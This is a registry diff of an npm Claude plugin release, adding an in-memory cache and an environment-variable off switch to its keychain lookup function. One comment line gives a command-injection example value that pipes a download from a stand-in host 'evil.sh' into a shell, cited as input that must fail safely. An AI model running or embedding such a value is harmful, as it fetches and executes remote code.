@agentsignalnet/claude-plugin 0.2.77 → 0.2.78
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/plugin.json +1 -1
- package/package.json +1 -1
- package/scripts/state.mjs +35 -0
package/package.json
CHANGED
package/scripts/state.mjs
CHANGED
|
@@ -240,7 +240,41 @@ export function repoSlug(root) {
|
|
|
240
240
|
* `keychain://x/$(curl evil.sh|sh)` has to be a lookup that fails rather than
|
|
241
241
|
* a command that runs.
|
|
242
242
|
*/
|
|
243
|
+
/**
|
|
244
|
+
* Resolved references, for this process only.
|
|
245
|
+
*
|
|
246
|
+
* Two channels opened by one identity ask for the same reference, and every
|
|
247
|
+
* ask is a `security` invocation and a round trip to secd. In memory and never
|
|
248
|
+
* written down: the process dying is the whole retention policy, which is the
|
|
249
|
+
* correct one for a value whose safety rests on not being on disk.
|
|
250
|
+
*/
|
|
251
|
+
const resolved = new Map();
|
|
252
|
+
|
|
243
253
|
export function readKeychain(reference) {
|
|
254
|
+
/**
|
|
255
|
+
* THE OFF SWITCH, which used to cover half the plugin.
|
|
256
|
+
*
|
|
257
|
+
* `AGENTSIGNAL_NO_KEYCHAIN` was added when somebody asked, reasonably, to
|
|
258
|
+
* stop being prompted for keychain access on every start. The MCP server
|
|
259
|
+
* honoured it from the first commit. This function did not, and this function
|
|
260
|
+
* is the one the DASHBOARD uses -- the process that gets restarted after every
|
|
261
|
+
* update, and several times an hour while anybody is working on it. So the
|
|
262
|
+
* switch was set, the prompts kept coming, and the setting looked broken
|
|
263
|
+
* rather than partial.
|
|
264
|
+
*
|
|
265
|
+
* Refusing rather than falling back to the file: the file may hold a key or
|
|
266
|
+
* only a reference, and quietly reading a key from disk when somebody has
|
|
267
|
+
* asked the keychain not to be used is a different decision than they made.
|
|
268
|
+
*/
|
|
269
|
+
if (process.env.AGENTSIGNAL_NO_KEYCHAIN) {
|
|
270
|
+
throw new Error(
|
|
271
|
+
'AGENTSIGNAL_NO_KEYCHAIN is set, so nothing is read from the keychain. ' +
|
|
272
|
+
'Set AGENTSIGNAL_API_KEY, or unset that variable to let this key be looked up.',
|
|
273
|
+
);
|
|
274
|
+
}
|
|
275
|
+
|
|
276
|
+
if (resolved.has(reference)) return resolved.get(reference);
|
|
277
|
+
|
|
244
278
|
const { service, account } = parseKeychain(reference);
|
|
245
279
|
let value;
|
|
246
280
|
try {
|
|
@@ -260,6 +294,7 @@ export function readKeychain(reference) {
|
|
|
260
294
|
// token is the sort of thing that fails as a 401 an hour later.
|
|
261
295
|
const trimmed = value.replace(/\n$/, '');
|
|
262
296
|
if (!trimmed) throw new Error(`${reference} resolved to an empty value`);
|
|
297
|
+
resolved.set(reference, trimmed);
|
|
263
298
|
return trimmed;
|
|
264
299
|
}
|
|
265
300
|
|